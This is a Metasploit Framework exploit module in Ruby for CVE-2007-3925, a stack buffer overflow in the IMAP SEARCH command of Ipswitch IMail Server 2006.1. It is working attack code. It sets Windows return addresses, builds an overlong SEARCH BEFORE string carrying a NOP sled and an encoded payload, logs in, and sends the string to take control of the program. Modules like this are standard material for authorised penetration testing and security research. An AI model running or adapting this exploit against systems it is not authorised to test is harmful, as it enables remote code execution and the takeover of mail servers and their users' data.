75 lines
2.1 KiB
Ruby
75 lines
2.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Imap
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ipswitch IMail IMAP SEARCH Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
|
|
verb. By sending an overly long string, an attacker can overwrite the
|
|
buffer and control program execution.
|
|
In order for this module to be successful, the IMAP user must have at least one
|
|
message.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-3925' ],
|
|
[ 'OSVDB', '36219' ],
|
|
[ 'BID', '24962' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 400,
|
|
'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c",
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],
|
|
[ 'Windows 2003 SP0 English', { 'Ret' => 0x77c5cee8 } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jul 18 2007'))
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = "a002 SEARCH BEFORE " + "<" + rand_text_english(87)
|
|
sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">"
|
|
|
|
info = connect_login
|
|
|
|
if (info == true)
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put("a001 SELECT INBOX\r\n")
|
|
sock.get_once(-1, 3)
|
|
sock.put(sploit + "\r\n")
|
|
else
|
|
print_status("Not falling through with exploit")
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
end
|